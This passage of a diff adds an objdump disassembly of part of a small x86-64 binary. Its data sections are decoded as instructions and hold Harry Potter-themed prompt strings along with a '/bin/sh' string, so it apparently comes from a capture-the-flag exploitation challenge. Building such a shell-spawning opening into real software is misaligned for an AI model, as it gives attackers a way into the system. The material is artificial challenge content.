+ ca3: 00 2f add BYTE PTR [rdi],ch
+ ca5: 62 69 6e 2f 73 (bad)
+ caa: 68 00 45 6e 74 push 0x746e4500
+ caf: 65 72 20 gs jb cd2 <_IO_stdin_used+0x122> (File Offset: 0xcd2)
+ cb2: 79 6f jns d23 <_IO_stdin_used+0x173> (File Offset: 0xd23)
+ cb4: 75 72 jne d28 <_IO_stdin_used+0x178> (File Offset: 0xd28)
+ cb6: 20 77 69 and BYTE PTR [rdi+0x69],dh
+ cb9: 74 63 je d1e <_IO_stdin_used+0x16e> (File Offset: 0xd1e)
+ cbb: 68 20 6e 61 6d push 0x6d616e20
+ cc0: 65 3a 00 cmp al,BYTE PTR gs:[rax]
+ cc3: e2 94 loop c59 <_IO_stdin_used+0xa9> (File Offset: 0xc59)
+ cc5: 82 (bad)
+ cc6: 20 59 6f and BYTE PTR [rcx+0x6f],bl
+ cc9: 75 20 jne ceb <_IO_stdin_used+0x13b> (File Offset: 0xceb)
+ ccb: 61 (bad)
+ ccc: 72 65 jb d33 <__GNU_EH_FRAME_HDR+0x3> (File Offset: 0xd33)
+ cce: 20 61 20 and BYTE PTR [rcx+0x20],ah
+ cd1: 48 75 66 rex.W jne d3a <__GNU_EH_FRAME_HDR+0xa> (File Offset: 0xd3a)
+ cd4: 66 6c data16 ins BYTE PTR es:[rdi],dx
+ cd6: 65 70 75 gs jo d4e <__GNU_EH_FRAME_HDR+0x1e> (File Offset: 0xd4e)
+ cd9: 66 66 21 20 data16 and WORD PTR [rax],sp
+ cdd: e2 94 loop c73 <_IO_stdin_used+0xc3> (File Offset: 0xc73)
+ cdf: 82 (bad)
+ ce0: 00 20 add BYTE PTR [rax],ah
+ ce2: 65 6e outs dx,BYTE PTR gs:[rsi]
+ ce4: 74 65 je d4b <__GNU_EH_FRAME_HDR+0x1b> (File Offset: 0xd4b)
+ ce6: 72 20 jb d08 <_IO_stdin_used+0x158> (File Offset: 0xd08)
+ ce8: 79 6f jns d59 <__GNU_EH_FRAME_HDR+0x29> (File Offset: 0xd59)
+ cea: 75 72 jne d5e <__GNU_EH_FRAME_HDR+0x2e> (File Offset: 0xd5e)
+ cec: 20 6d 61 and BYTE PTR [rbp+0x61],ch
+ cef: 67 69 63 20 73 70 65 imul esp,DWORD PTR [ebx+0x20],0x6c657073
+ cf6: 6c
+ cf7: 6c ins BYTE PTR es:[rdi],dx
+ cf8: 3a 00 cmp al,BYTE PTR [rax]
+ cfa: 45 78 70 rex.RB js d6d <__GNU_EH_FRAME_HDR+0x3d> (File Offset: 0xd6d)
+ cfd: 65 6c gs ins BYTE PTR es:[rdi],dx
+ cff: 6c ins BYTE PTR es:[rdi],dx
+ d00: 69 61 72 6d 75 73 00 imul esp,DWORD PTR [rcx+0x72],0x73756d
+ d07: 7e 20 jle d29 <_IO_stdin_used+0x179> (File Offset: 0xd29)
+ d09: 50 push rax
+ d0a: 72 6f jb d7b <__GNU_EH_FRAME_HDR+0x4b> (File Offset: 0xd7b)
+ d0c: 74 65 je d73 <__GNU_EH_FRAME_HDR+0x43> (File Offset: 0xd73)
+ d0e: 67 6f outs dx,DWORD PTR ds:[esi]
+ d10: 21 00 and DWORD PTR [rax],eax
+ d12: 2d 31 30 20 50 sub eax,0x50203031
+ d17: 6f outs dx,DWORD PTR ds:[rsi]
+ d18: 69 6e 74 73 20 66 6f imul ebp,DWORD PTR [rsi+0x74],0x6f662073
+ d1f: 72 20 jb d41 <__GNU_EH_FRAME_HDR+0x11> (File Offset: 0xd41)
+ d21: 48 75 66 rex.W jne d8a <__GNU_EH_FRAME_HDR+0x5a> (File Offset: 0xd8a)
+ d24: 66 6c data16 ins BYTE PTR es:[rdi],dx
+ d26: 65 70 75 gs jo d9e <__GNU_EH_FRAME_HDR+0x6e> (File Offset: 0xd9e)
+ d29: 66 66 21 00 data16 and WORD PTR [rax],ax
+
+Disassembly of section .eh_frame_hdr:
+
+0000000000000d30 <__GNU_EH_FRAME_HDR> (File Offset: 0xd30):
+ d30: 01 1b add DWORD PTR [rbx],ebx
+ d32: 03 3b add edi,DWORD PTR [rbx]
+ d34: 6c ins BYTE PTR es:[rdi],dx
+ d35: 00 00 add BYTE PTR [rax],al
+ d37: 00 0c 00 add BYTE PTR [rax+rax*1],cl
+ d3a: 00 00 add BYTE PTR [rax],al
+ d3c: 50 push rax
+ d3d: fa cli
+ d3e: ff (bad)
+ d3f: ff (bad)
+ d40: b8 00 00 00 f0 mov eax,0xf0000000
+ d45: fa cli
+ d46: ff (bad)
+ d47: ff e0 jmp rax
+ d49: 00 00 add BYTE PTR [rax],al
+ d4b: 00 00 add BYTE PTR [rax],al
+ d4d: fb sti
+ d4e: ff (bad)
+ d4f: ff 88 00 00 00 0a dec DWORD PTR [rax+0xa000000]
+ d55: fc cld
+ d56: ff (bad)
+ d57: ff (bad)
+ d58: f8 clc
+ d59: 00 00 add BYTE PTR [rax],al
+ d5b: 00 6b fc add BYTE PTR [rbx-0x4],ch
+ d5e: ff (bad)
+ d5f: ff 18 call FWORD PTR [rax]
+ d61: 01 00 add DWORD PTR [rax],eax
+ d63: 00 9a fc ff ff 38 add BYTE PTR [rdx+0x38fffffc],bl
+ d69: 01 00 add DWORD PTR [rax],eax
+ d6b: 00 bc fc ff ff 58 01 add BYTE PTR [rsp+rdi*8+0x158ffff],bh
+ d72: 00 00 add BYTE PTR [rax],al
+ d74: f3 fc repz cld
+ d76: ff (bad)
+ d77: ff (bad)
+ d78: 78 01 js d7b <__GNU_EH_FRAME_HDR+0x4b> (File Offset: 0xd7b)
+ d7a: 00 00 add BYTE PTR [rax],al
+ d7c: 59 pop rcx
+ d7d: fd std
+ d7e: ff (bad)
+ d7f: ff 98 01 00 00 c4 call FWORD PTR [rax-0x3bffffff]
+ d85: fd std
+ d86: ff (bad)
+ d87: ff (bad)
+ d88: b8 01 00 00 00 mov eax,0x1
+ d8d: fe (bad)
+ d8e: ff (bad)
+ d8f: ff call (bad)
+ d90: d8 01 fadd DWORD PTR [rcx]
+ d92: 00 00 add BYTE PTR [rax],al
+ d94: 70 fe jo d94 <__GNU_EH_FRAME_HDR+0x64> (File Offset: 0xd94)
+ d96: ff (bad)
+ d97: ff 20 jmp QWORD PTR [rax]
+ d99: 02 00 add al,BYTE PTR [rax]
+ ...
+
+Disassembly of section .eh_frame:
+
+0000000000000da0 <__FRAME_END__-0x1c4> (File Offset: 0xda0):
+ da0: 14 00 adc al,0x0
+ da2: 00 00 add BYTE PTR [rax],al
+ da4: 00 00 add BYTE PTR [rax],al
+ da6: 00 00 add BYTE PTR [rax],al
+ da8: 01 7a 52 add DWORD PTR [rdx+0x52],edi
+ dab: 00 01 add BYTE PTR [rcx],al
+ dad: 78 10 js dbf <__GNU_EH_FRAME_HDR+0x8f> (File Offset: 0xdbf)
+ daf: 01 1b add DWORD PTR [rbx],ebx
+ db1: 0c 07 or al,0x7
+ db3: 08 90 01 07 10 14 or BYTE PTR [rax+0x14100701],dl
+ db9: 00 00 add BYTE PTR [rax],al
+ dbb: 00 1c 00 add BYTE PTR [rax+rax*1],bl
+ dbe: 00 00 add BYTE PTR [rax],al
+ dc0: 70 fa jo dbc <__GNU_EH_FRAME_HDR+0x8c> (File Offset: 0xdbc)
+ dc2: ff (bad)
+ dc3: ff 2b jmp FWORD PTR [rbx]
+ ... (skipping 8 zeroes, resuming at file offset: 0xdcd)
+ dcd: 00 00 add BYTE PTR [rax],al
+ dcf: 00 14 00 add BYTE PTR [rax+rax*1],dl
+ dd2: 00 00 add BYTE PTR [rax],al
+ dd4: 00 00 add BYTE PTR [rax],al
+ dd6: 00 00 add BYTE PTR [rax],al
+ dd8: 01 7a 52 add DWORD PTR [rdx+0x52],edi
+ ddb: 00 01 add BYTE PTR [rcx],al
+ ddd: 78 10 js def <__GNU_EH_FRAME_HDR+0xbf> (File Offset: 0xdef)
+ ddf: 01 1b add DWORD PTR [rbx],ebx
+ de1: 0c 07 or al,0x7
+ de3: 08 90 01 00 00 24 or BYTE PTR [rax+0x24000001],dl
+ de9: 00 00 add BYTE PTR [rax],al
+ deb: 00 1c 00 add BYTE PTR [rax+rax*1],bl
+ dee: 00 00 add BYTE PTR [rax],al
+ df0: 90 nop
+ df1: f9 stc
+ df2: ff (bad)
+ df3: ff a0 00 00 00 00 jmp QWORD PTR [rax+0x0]
+ df9: 0e (bad)
+ dfa: 10 46 0e adc BYTE PTR [rsi+0xe],al
+ dfd: 18 4a 0f sbb BYTE PTR [rdx+0xf],cl
+ e00: 0b 77 08 or esi,DWORD PTR [rdi+0x8]
+ e03: 80 00 3f add BYTE PTR [rax],0x3f
+ e06: 1a 3b sbb bh,BYTE PTR [rbx]
+ e08: 2a 33 sub dh,BYTE PTR [rbx]
+ e0a: 24 22 and al,0x22
+ e0c: 00 00 add BYTE PTR [rax],al
+ e0e: 00 00 add BYTE PTR [rax],al
+ e10: 14 00 adc al,0x0
+ e12: 00 00 add BYTE PTR [rax],al
+ e14: 44 00 00 add BYTE PTR [rax],r8b
+ e17: 00 08 add BYTE PTR [rax],cl
+ e19: fa cli
+ e1a: ff (bad)
+ e1b: ff 08 dec DWORD PTR [rax]
+ ... (skipping 8 zeroes, resuming at file offset: 0xe25)
+ e25: 00 00 add BYTE PTR [rax],al
+ e27: 00 1c 00 add BYTE PTR [rax+rax*1],bl
+ e2a: 00 00 add BYTE PTR [rax],al
+ e2c: 5c pop rsp
+ e2d: 00 00 add BYTE PTR [rax],al
+ e2f: 00 0a add BYTE PTR [rdx],cl
+ e31: fb sti
+ e32: ff (bad)
+ e33: ff 61 00 jmp QWORD PTR [rcx+0x0]
+ e36: 00 00 add BYTE PTR [rax],al
+ e38: 00 41 0e add BYTE PTR [rcx+0xe],al
+ e3b: 10 86 02 43 0d 06 adc BYTE PTR [rsi+0x60d4302],al
+ e41: 02 5c 0c 07 add bl,BYTE PTR [rsp+rcx*1+0x7]
+ e45: 08 00 or BYTE PTR [rax],al
+ e47: 00 1c 00 add BYTE PTR [rax+rax*1],bl
+ e4a: 00 00 add BYTE PTR [rax],al
+ e4c: 7c 00 jl e4e <__GNU_EH_FRAME_HDR+0x11e> (File Offset: 0xe4e)
+ e4e: 00 00 add BYTE PTR [rax],al
+ e50: 4b fb rex.WXB sti
+ e52: ff (bad)
+ e53: ff 2f jmp FWORD PTR [rdi]
+ e55: 00 00 add BYTE PTR [rax],al
+ e57: 00 00 add BYTE PTR [rax],al
+ e59: 41 0e rex.B (bad)
+ e5b: 10 86 02 43 0d 06 adc BYTE PTR [rsi+0x60d4302],al
+ e61: 6a 0c push 0xc
+ e63: 07 (bad)
+ e64: 08 00 or BYTE PTR [rax],al
+ e66: 00 00 add BYTE PTR [rax],al
+ e68: 1c 00 sbb al,0x0
+ e6a: 00 00 add BYTE PTR [rax],al
+ e6c: 9c pushf
+ e6d: 00 00 add BYTE PTR [rax],al
+ e6f: 00 5a fb add BYTE PTR [rdx-0x5],bl
+ e72: ff (bad)
+ e73: ff 22 jmp QWORD PTR [rdx]
+ e75: 00 00 add BYTE PTR [rax],al
+ e77: 00 00 add BYTE PTR [rax],al
+ e79: 41 0e rex.B (bad)
+ e7b: 10 86 02 43 0d 06 adc BYTE PTR [rsi+0x60d4302],al
+ e81: 5d pop rbp
+ e82: 0c 07 or al,0x7
+ e84: 08 00 or BYTE PTR [rax],al
+ e86: 00 00 add BYTE PTR [rax],al
+ e88: 1c 00 sbb al,0x0
+ e8a: 00 00 add BYTE PTR [rax],al
+ e8c: bc 00 00 00 5c mov esp,0x5c000000
+ e91: fb sti
+ e92: ff (bad)
+ e93: ff 37 push QWORD PTR [rdi]
+ e95: 00 00 add BYTE PTR [rax],al
+ e97: 00 00 add BYTE PTR [rax],al
+ e99: 41 0e rex.B (bad)
+ e9b: 10 86 02 43 0d 06 adc BYTE PTR [rsi+0x60d4302],al
+ ea1: 72 0c jb eaf <__GNU_EH_FRAME_HDR+0x17f> (File Offset: 0xeaf)
+ ea3: 07 (bad)
+ ea4: 08 00 or BYTE PTR [rax],al
+ ea6: 00 00 add BYTE PTR [rax],al
+ ea8: 1c 00 sbb al,0x0
+ eaa: 00 00 add BYTE PTR [rax],al
+ eac: dc 00 fadd QWORD PTR [rax]
+ eae: 00 00 add BYTE PTR [rax],al
+ eb0: 73 fb jae ead <__GNU_EH_FRAME_HDR+0x17d> (File Offset: 0xead)
+ eb2: ff (bad)
+ eb3: ff 66 00 jmp QWORD PTR [rsi+0x0]
+ eb6: 00 00 add BYTE PTR [rax],al
+ eb8: 00 41 0e add BYTE PTR [rcx+0xe],al
+ ebb: 10 86 02 43 0d 06 adc BYTE PTR [rsi+0x60d4302],al
+ ec1: 02 61 0c add ah,BYTE PTR [rcx+0xc]
+ ec4: 07 (bad)
+ ec5: 08 00 or BYTE PTR [rax],al
+ ec7: 00 1c 00 add BYTE PTR [rax+rax*1],bl
+ eca: 00 00 add BYTE PTR [rax],al
+ ecc: fc cld
+ ecd: 00 00 add BYTE PTR [rax],al
+ ecf: 00 b9 fb ff ff 6b add BYTE PTR [rcx+0x6bfffffb],bh
+ ed5: 00 00 add BYTE PTR [rax],al
+ ed7: 00 00 add BYTE PTR [rax],al
+ ed9: 41 0e rex.B (bad)
+ edb: 10 86 02 43 0d 06 adc BYTE PTR [rsi+0x60d4302],al
+ ee1: 02 66 0c add ah,BYTE PTR [rsi+0xc]
+ ee4: 07 (bad)
+ ee5: 08 00 or BYTE PTR [rax],al
+ ee7: 00 1c 00 add BYTE PTR [rax+rax*1],bl
+ eea: 00 00 add BYTE PTR [rax],al
+ eec: 1c 01 sbb al,0x1
+ eee: 00 00 add BYTE PTR [rax],al
+ ef0: 04 fc add al,0xfc
+ ef2: ff (bad)
+ ef3: ff (bad)
+ ef4: 3a 00 cmp al,BYTE PTR [rax]
+ ef6: 00 00 add BYTE PTR [rax],al
+ ef8: 00 41 0e add BYTE PTR [rcx+0xe],al
+ efb: 10 86 02 43 0d 06 adc BYTE PTR [rsi+0x60d4302],al
+ f01: 75 0c jne f0f <__GNU_EH_FRAME_HDR+0x1df> (File Offset: 0xf0f)
+ f03: 07 (bad)
+ f04: 08 00 or BYTE PTR [rax],al
+ f06: 00 00 add BYTE PTR [rax],al
+ f08: 44 00 00 add BYTE PTR [rax],r8b
+ f0b: 00 3c 01 add BYTE PTR [rcx+rax*1],bh
+ f0e: 00 00 add BYTE PTR [rax],al
+ f10: 20 fc and ah,bh
+ f12: ff (bad)
+ f13: ff 65 00 jmp QWORD PTR [rbp+0x0]
+ f16: 00 00 add BYTE PTR [rax],al
+ f18: 00 42 0e add BYTE PTR [rdx+0xe],al
+ f1b: 10 8f 02 42 0e 18 adc BYTE PTR [rdi+0x180e4202],cl
+ f21: 8e 03 mov es,WORD PTR [rbx]
+ f23: 45 0e rex.RB (bad)
+ f25: 20 8d 04 42 0e 28 and BYTE PTR [rbp+0x280e4204],cl
+ f2b: 8c 05 48 0e 30 86 mov WORD PTR [rip+0xffffffff86300e48],es # ffffffff86301d79 <_end+0xffffffff860ffd29> (File Offset: 0xffffffff86301d79)
+ f31: 06 (bad)
+ f32: 48 0e rex.W (bad)
+ f34: 38 83 07 4d 0e 40 cmp BYTE PTR [rbx+0x400e4d07],al
+ f3a: 72 0e jb f4a <__GNU_EH_FRAME_HDR+0x21a> (File Offset: 0xf4a)
+ f3c: 38 41 0e cmp BYTE PTR [rcx+0xe],al
+ f3f: 30 41 0e xor BYTE PTR [rcx+0xe],al
+ f42: 28 42 0e sub BYTE PTR [rdx+0xe],al
+ f45: 20 42 0e and BYTE PTR [rdx+0xe],al
+ f48: 18 42 0e sbb BYTE PTR [rdx+0xe],al
+ f4b: 10 42 0e adc BYTE PTR [rdx+0xe],al
+ f4e: 08 00 or BYTE PTR [rax],al
+ f50: 10 00 adc BYTE PTR [rax],al
+ f52: 00 00 add BYTE PTR [rax],al
+ f54: 84 01 test BYTE PTR [rcx],al
+ f56: 00 00 add BYTE PTR [rax],al
+ f58: 48 fc rex.W cld
+ f5a: ff (bad)
+ f5b: ff 02 inc DWORD PTR [rdx]
+ f5d: 00 00 add BYTE PTR [rax],al
+ f5f: 00 00 add BYTE PTR [rax],al
+ f61: 00 00 add BYTE PTR [rax],al
+ ...
+
+0000000000000f64 <__FRAME_END__> (File Offset: 0xf64):
+ f64: 00 00 add BYTE PTR [rax],al
+ ...
+
+Disassembly of section .init_array:
+
+0000000000201d78 <__frame_dummy_init_array_entry> (File Offset: 0x1d78):
+ 201d78: 30 09 xor BYTE PTR [rcx],cl
+ 201d7a: 00 00 add BYTE PTR [rax],al
+ 201d7c: 00 00 add BYTE PTR [rax],al
+ ...
+
+Disassembly of section .fini_array:
+
+0000000000201d80 <__do_global_dtors_aux_fini_array_entry> (File Offset: 0x1d80):
+ 201d80: f0 08 00 lock or BYTE PTR [rax],al
+ 201d83: 00 00 add BYTE PTR [rax],al
+ 201d85: 00 00 add BYTE PTR [rax],al
+ ...
+
+Disassembly of section .dynamic:
+
+0000000000201d88 <_DYNAMIC> (File Offset: 0x1d88):
+ 201d88: 01 00 add DWORD PTR [rax],eax
+ 201d8a: 00 00 add BYTE PTR [rax],al
+ 201d8c: 00 00 add BYTE PTR [rax],al
+ 201d8e: 00 00 add BYTE PTR [rax],al
+ 201d90: 01 00 add DWORD PTR [rax],eax
+ 201d92: 00 00 add BYTE PTR [rax],al
+ 201d94: 00 00 add BYTE PTR [rax],al
+ 201d96: 00 00 add BYTE PTR [rax],al
+ 201d98: 0c 00 or al,0x0
+ 201d9a: 00 00 add BYTE PTR [rax],al
+ 201d9c: 00 00 add BYTE PTR [rax],al
+ 201d9e: 00 00 add BYTE PTR [rax],al
+ 201da0: 68 07 00 00 00 push 0x7
+ 201da5: 00 00 add BYTE PTR [rax],al
+ 201da7: 00 0d 00 00 00 00 add BYTE PTR [rip+0x0],cl # 201dad <_DYNAMIC+0x25> (File Offset: 0x1dad)
+ 201dad: 00 00 add BYTE PTR [rax],al
+ 201daf: 00 a4 0b 00 00 00 00 add BYTE PTR [rbx+rcx*1+0x0],ah
+ 201db6: 00 00 add BYTE PTR [rax],al
+ 201db8: 19 00 sbb DWORD PTR [rax],eax
+ 201dba: 00 00 add BYTE PTR [rax],al
+ 201dbc: 00 00 add BYTE PTR [rax],al
+ 201dbe: 00 00 add BYTE PTR [rax],al
+ 201dc0: 78 1d js 201ddf <_DYNAMIC+0x57> (File Offset: 0x1ddf)
+ 201dc2: 20 00 and BYTE PTR [rax],al
+ 201dc4: 00 00 add BYTE PTR [rax],al
+ 201dc6: 00 00 add BYTE PTR [rax],al
+ 201dc8: 1b 00 sbb eax,DWORD PTR [rax]
+ 201dca: 00 00 add BYTE PTR [rax],al
+ 201dcc: 00 00 add BYTE PTR [rax],al
+ 201dce: 00 00 add BYTE PTR [rax],al
+ 201dd0: 08 00 or BYTE PTR [rax],al
+ 201dd2: 00 00 add BYTE PTR [rax],al
+ 201dd4: 00 00 add BYTE PTR [rax],al
+ 201dd6: 00 00 add BYTE PTR [rax],al
+ 201dd8: 1a 00 sbb al,BYTE PTR [rax]
+ 201dda: 00 00 add BYTE PTR [rax],al
+ 201ddc: 00 00 add BYTE PTR [rax],al
+ 201dde: 00 00 add BYTE PTR [rax],al
+ 201de0: 80 1d 20 00 00 00 00 sbb BYTE PTR [rip+0x20],0x0 # 201e07 <_DYNAMIC+0x7f> (File Offset: 0x1e07)
+ 201de7: 00 1c 00 add BYTE PTR [rax+rax*1],bl
+ 201dea: 00 00 add BYTE PTR [rax],al
+ 201dec: 00 00 add BYTE PTR [rax],al
+ 201dee: 00 00 add BYTE PTR [rax],al
+ 201df0: 08 00 or BYTE PTR [rax],al
+ 201df2: 00 00 add BYTE PTR [rax],al
+ 201df4: 00 00 add BYTE PTR [rax],al
+ 201df6: 00 00 add BYTE PTR [rax],al
+ 201df8: f5 cmc
+ 201df9: fe (bad)
+ 201dfa: ff 6f 00 jmp FWORD PTR [rdi+0x0]
+ 201dfd: 00 00 add BYTE PTR [rax],al
+ 201dff: 00 98 02 00 00 00 add BYTE PTR [rax+0x2],bl
+ 201e05: 00 00 add BYTE PTR [rax],al
+ 201e07: 00 05 00 00 00 00 add BYTE PTR [rip+0x0],al # 201e0d <_DYNAMIC+0x85> (File Offset: 0x1e0d)
+ 201e0d: 00 00 add BYTE PTR [rax],al
+ 201e0f: 00 78 04 add BYTE PTR [rax+0x4],bh
+ 201e12: 00 00 add BYTE PTR [rax],al
+ 201e14: 00 00 add BYTE PTR [rax],al
+ 201e16: 00 00 add BYTE PTR [rax],al
+ 201e18: 06 (bad)
+ 201e19: 00 00 add BYTE PTR [rax],al
+ 201e1b: 00 00 add BYTE PTR [rax],al
+ 201e1d: 00 00 add BYTE PTR [rax],al
+ 201e1f: 00 c8 add al,cl
+ 201e21: 02 00 add al,BYTE PTR [rax]
+ 201e23: 00 00 add BYTE PTR [rax],al
+ 201e25: 00 00 add BYTE PTR [rax],al
+ 201e27: 00 0a add BYTE PTR [rdx],cl
+ 201e29: 00 00 add BYTE PTR [rax],al
+ 201e2b: 00 00 add BYTE PTR [rax],al
+ 201e2d: 00 00 add BYTE PTR [rax],al
+ 201e2f: 00 cb add bl,cl
+ 201e31: 00 00 add BYTE PTR [rax],al
+ 201e33: 00 00 add BYTE PTR [rax],al
+ 201e35: 00 00 add BYTE PTR [rax],al
+ 201e37: 00 0b add BYTE PTR [rbx],cl
+ 201e39: 00 00 add BYTE PTR [rax],al
+ 201e3b: 00 00 add BYTE PTR [rax],al
+ 201e3d: 00 00 add BYTE PTR [rax],al
+ 201e3f: 00 18 add BYTE PTR [rax],bl
+ 201e41: 00 00 add BYTE PTR [rax],al
+ 201e43: 00 00 add BYTE PTR [rax],al
+ 201e45: 00 00 add BYTE PTR [rax],al
+ 201e47: 00 15 00 00 00 00 add BYTE PTR [rip+0x0],dl # 201e4d <_DYNAMIC+0xc5> (File Offset: 0x1e4d)
+ ... (skipping 8 zeroes, resuming at file offset: 0x1e55)
+ 201e55: 00 00 add BYTE PTR [rax],al
+ 201e57: 00 03 add BYTE PTR [rbx],al
+ 201e59: 00 00 add BYTE PTR [rax],al
+ 201e5b: 00 00 add BYTE PTR [rax],al
+ 201e5d: 00 00 add BYTE PTR [rax],al
+ 201e5f: 00 78 1f add BYTE PTR [rax+0x1f],bh
+ 201e62: 20 00 and BYTE PTR [rax],al
+ 201e64: 00 00 add BYTE PTR [rax],al
+ 201e66: 00 00 add BYTE PTR [rax],al
+ 201e68: 02 00 add al,BYTE PTR [rax]
+ 201e6a: 00 00 add BYTE PTR [rax],al
+ 201e6c: 00 00 add BYTE PTR [rax],al
+ 201e6e: 00 00 add BYTE PTR [rax],al
+ 201e70: d8 00 fadd DWORD PTR [rax]
+ 201e72: 00 00 add BYTE PTR [rax],al
+ 201e74: 00 00 add BYTE PTR [rax],al
+ 201e76: 00 00 add BYTE PTR [rax],al
+ 201e78: 14 00 adc al,0x0
+ 201e7a: 00 00 add BYTE PTR [rax],al
+ 201e7c: 00 00 add BYTE PTR [rax],al
+ 201e7e: 00 00 add BYTE PTR [rax],al
+ 201e80: 07 (bad)
+ 201e81: 00 00 add BYTE PTR [rax],al
+ 201e83: 00 00 add BYTE PTR [rax],al
+ 201e85: 00 00 add BYTE PTR [rax],al
+ 201e87: 00 17 add BYTE PTR [rdi],dl
+ 201e89: 00 00 add BYTE PTR [rax],al
+ 201e8b: 00 00 add BYTE PTR [rax],al
+ 201e8d: 00 00 add BYTE PTR [rax],al
+ 201e8f: 00 90 06 00 00 00 add BYTE PTR [rax+0x6],dl
+ 201e95: 00 00 add BYTE PTR [rax],al
+ 201e97: 00 07 add BYTE PTR [rdi],al
+ 201e99: 00 00 add BYTE PTR [rax],al
+ 201e9b: 00 00 add BYTE PTR [rax],al
+ 201e9d: 00 00 add BYTE PTR [rax],al
+ 201e9f: 00 88 05 00 00 00 add BYTE PTR [rax+0x5],cl
+ 201ea5: 00 00 add BYTE PTR [rax],al
+ 201ea7: 00 08 add BYTE PTR [rax],cl
+ 201ea9: 00 00 add BYTE PTR [rax],al
+ 201eab: 00 00 add BYTE PTR [rax],al
+ 201ead: 00 00 add BYTE PTR [rax],al
+ 201eaf: 00 08 add BYTE PTR [rax],cl
+ 201eb1: 01 00 add DWORD PTR [rax],eax
+ 201eb3: 00 00 add BYTE PTR [rax],al
+ 201eb5: 00 00 add BYTE PTR [rax],al
+ 201eb7: 00 09 add BYTE PTR [rcx],cl
+ 201eb9: 00 00 add BYTE PTR [rax],al
+ 201ebb: 00 00 add BYTE PTR [rax],al
+ 201ebd: 00 00 add BYTE PTR [rax],al
+ 201ebf: 00 18 add BYTE PTR [rax],bl
+ 201ec1: 00 00 add BYTE PTR [rax],al
+ 201ec3: 00 00 add BYTE PTR [rax],al
+ 201ec5: 00 00 add BYTE PTR [rax],al
+ 201ec7: 00 1e add BYTE PTR [rsi],bl
+ 201ec9: 00 00 add BYTE PTR [rax],al
+ 201ecb: 00 00 add BYTE PTR [rax],al
+ 201ecd: 00 00 add BYTE PTR [rax],al
+ 201ecf: 00 08 add BYTE PTR [rax],cl
+ 201ed1: 00 00 add BYTE PTR [rax],al
+ 201ed3: 00 00 add BYTE PTR [rax],al
+ 201ed5: 00 00 add BYTE PTR [rax],al
+ 201ed7: 00 fb add bl,bh
+ 201ed9: ff (bad)
+ 201eda: ff 6f 00 jmp FWORD PTR [rdi+0x0]
+ 201edd: 00 00 add BYTE PTR [rax],al
+ 201edf: 00 01 add BYTE PTR [rcx],al
+ 201ee1: 00 00 add BYTE PTR [rax],al
+ 201ee3: 08 00 or BYTE PTR [rax],al
+ 201ee5: 00 00 add BYTE PTR [rax],al
+ 201ee7: 00 fe add dh,bh
+ 201ee9: ff (bad)
+ 201eea: ff 6f 00 jmp FWORD PTR [rdi+0x0]
+ 201eed: 00 00 add BYTE PTR [rax],al
+ 201eef: 00 68 05 add BYTE PTR [rax+0x5],ch
+ 201ef2: 00 00 add BYTE PTR [rax],al
+ 201ef4: 00 00 add BYTE PTR [rax],al
+ 201ef6: 00 00 add BYTE PTR [rax],al
+ 201ef8: ff (bad)
+ 201ef9: ff (bad)
+ 201efa: ff 6f 00 jmp FWORD PTR [rdi+0x0]
+ 201efd: 00 00 add BYTE PTR [rax],al
+ 201eff: 00 01 add BYTE PTR [rcx],al
+ 201f01: 00 00 add BYTE PTR [rax],al
+ 201f03: 00 00 add BYTE PTR [rax],al
+ 201f05: 00 00 add BYTE PTR [rax],al
+ 201f07: 00 f0 add al,dh
+ 201f09: ff (bad)
+ 201f0a: ff 6f 00 jmp FWORD PTR [rdi+0x0]
+ 201f0d: 00 00 add BYTE PTR [rax],al
+ 201f0f: 00 44 05 00 add BYTE PTR [rbp+rax*1+0x0],al
+ 201f13: 00 00 add BYTE PTR [rax],al
+ 201f15: 00 00 add BYTE PTR [rax],al
+ 201f17: 00 f9 add cl,bh
+ 201f19: ff (bad)
+ 201f1a: ff 6f 00 jmp FWORD PTR [rdi+0x0]
+ 201f1d: 00 00 add BYTE PTR [rax],al
+ 201f1f: 00 03 add BYTE PTR [rbx],al
+ ...
+
+Disassembly of section .got:
+
+0000000000201f78 <_GLOBAL_OFFSET_TABLE_> (File Offset: 0x1f78):
+ 201f78: 88 1d 20 00 00 00 mov BYTE PTR [rip+0x20],bl # 201f9e <_GLOBAL_OFFSET_TABLE_+0x26> (File Offset: 0x1f9e)
+ ... (skipping 16 zeroes, resuming at file offset: 0x1f8e)
+ 201f8e: 00 00 add BYTE PTR [rax],al
+ 201f90: 96 xchg esi,eax
+ 201f91: 07 (bad)
+ 201f92: 00 00 add BYTE PTR [rax],al
+ 201f94: 00 00 add BYTE PTR [rax],al
+ 201f96: 00 00 add BYTE PTR [rax],al
+ 201f98: a6 cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi]
+ 201f99: 07 (bad)
+ 201f9a: 00 00 add BYTE PTR [rax],al
+ 201f9c: 00 00 add BYTE PTR [rax],al
+ 201f9e: 00 00 add BYTE PTR [rax],al
+ 201fa0: b6 07 mov dh,0x7
+ 201fa2: 00 00 add BYTE PTR [rax],al
+ 201fa4: 00 00 add BYTE PTR [rax],al
+ 201fa6: 00 00 add BYTE PTR [rax],al
+ 201fa8: c6 07 00 mov BYTE PTR [rdi],0x0
+ 201fab: 00 00 add BYTE PTR [rax],al
+ 201fad: 00 00 add BYTE PTR [rax],al
+ 201faf: 00 d6 add dh,dl
+ 201fb1: 07 (bad)
+ 201fb2: 00 00 add BYTE PTR [rax],al
+ 201fb4: 00 00 add BYTE PTR [rax],al
+ 201fb6: 00 00 add BYTE PTR [rax],al
+ 201fb8: e6 07 out 0x7,al
+ 201fba: 00 00 add BYTE PTR [rax],al
+ 201fbc: 00 00 add BYTE PTR [rax],al
+ 201fbe: 00 00 add BYTE PTR [rax],al
+ 201fc0: f6 07 00 test BYTE PTR [rdi],0x0
+ 201fc3: 00 00 add BYTE PTR [rax],al
+ 201fc5: 00 00 add BYTE PTR [rax],al
+ 201fc7: 00 06 add BYTE PTR [rsi],al
+ 201fc9: 08 00 or BYTE PTR [rax],al
+ 201fcb: 00 00 add BYTE PTR [rax],al
+ 201fcd: 00 00 add BYTE PTR [rax],al
+ 201fcf: 00 16 add BYTE PTR [rsi],dl
+ 201fd1: 08 00 or BYTE PTR [rax],al
+ ...
+
+Disassembly of section .data:
+
+0000000000202000 <__data_start> (File Offset: 0x2000):
+ ...
+
+0000000000202008 <__dso_handle> (File Offset: 0x2008):
+ 202008: 08 20 or BYTE PTR [rax],ah
+ 20200a: 20 00 and BYTE PTR [rax],al
+ 20200c: 00 00 add BYTE PTR [rax],al
+ ...
+
+Disassembly of section .comment:
+
+0000000000000000 <.comment> (File Offset: 0x2010):
+ 0: 47 rex.RXB
